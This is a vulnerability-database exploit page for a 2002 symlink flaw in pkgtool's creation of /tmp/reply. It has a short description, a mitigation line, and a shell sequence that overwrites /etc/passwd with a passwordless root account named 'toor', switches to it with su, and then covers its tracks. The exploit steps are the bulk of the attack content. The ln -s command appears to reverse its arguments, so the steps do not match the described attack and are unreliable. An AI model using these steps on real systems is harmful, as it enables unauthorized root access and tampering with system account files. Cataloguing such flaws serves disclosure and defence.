header-logo
Suggest Exploit
vendor:
pkgtool
by:
SecurityFocus
7.2
CVSS
HIGH
Symlink Attack
59
CWE
Product Name: pkgtool
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2002

pkgtool insecurely creates /tmp/reply

pkgtool creates the file /tmp/reply insecurely and follows symbolic links. An attacker can create a symbolic link from /tmp/reply to any file and wait for root to run the program. This will clober the target file. The file created has permissions -rw-rw-rw-.

Mitigation:

Ensure that the application does not follow symbolic links and does not create files with world-writable permissions.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/82/info

pkgtool creates the file /tmp/reply insecurely and follows symbolic links. An attacker can create a symbolic link from /tmp/reply to any file and wait for root to run the program. This will clober the target file.
The file created has permissions -rw-rw-rw-.

$ cp /etc/passwd /tmp/passwd
$ ln -s /tmp/reply /etc/passwd
< wait for root to run pkgtool >
$ echo toor::0:0::/:/bin/sh > /etc/passwd
$ su - toor
# cp /tmp/passwd /etc/passwd
# rm /tmp/reply /tmp/passwd